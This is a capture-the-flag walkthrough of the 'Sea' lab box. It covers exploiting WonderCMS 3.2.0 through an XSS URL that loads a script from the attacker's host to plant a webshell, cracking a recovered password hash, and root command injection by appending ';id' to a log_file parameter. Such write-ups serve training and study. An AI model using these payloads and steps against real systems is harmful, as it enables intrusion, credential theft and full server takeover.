Sea
Recon
I started with a normal nmap scan. Two ports are open:
1
2
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache 2.4.41
Port 80 runs WonderCMS 3.2.0 with the “bike” theme. The site has a contact form, which turned out to be important.
Foothold
WonderCMS 3.2.0 is vulnerable to CVE-2023-41425, an XSS that leads to RCE. The login page reflects the page path inside the action attribute of a form, without encoding it. So we can close the form and inject our own script tag:
1
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://KALI:8888/malicious.js"></script><form+action="
KALI is my attacker IP. The malicious.js file I host does three things. It grabs the CSRF token of the admin, then calls installModule, and that installs a ZIP with a PHP webshell as a theme.
I don’t have the admin session, but the admin bot does. I put the XSS URL in the “website” field of the contact form. When the bot visited it, my JavaScript ran with the admin’s session and the webshell was installed at:
1
/themes/pwned/pwned.php
With that I had command execution as www-data.
User
The WonderCMS config is in /var/www/sea/data/database.js. It has a bcrypt hash for the admin password:
1
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q
I saved it to hash.txt and cracked it with john and rockyou:
1
john --wordlist=rockyou.txt hash.txt
The password is mychemicalromance. The user on the box is amay, and the password works for SSH:
1
ssh amay@10.129.102.110
Then I read user.txt from the home folder.
1
cat user.txt
Root
There is an internal web service on port 8080. It is a PHP “System Monitor” app, and it uses Basic Auth. The same credentials work: amay:mychemicalromance.
The app has an “Analyze Log File” feature. It sends a log_file parameter to analyse.php. I tested it with curl, and added ;id after a file path to see if the value goes into a shell command:
1
2
curl -u amay:mychemicalromance -X POST http://127.0.0.1:8080/analyse.php \
-d 'log_file=/root/root.txt;id'
The log_file value is passed to a shell command without any cleaning, so this is command injection. The service runs as root, so our injected commands run as root too. Using this I could read root.txt.
Cleanup
I removed the webshell folder at the end:
1
rm -rf /var/www/sea/themes/pwned/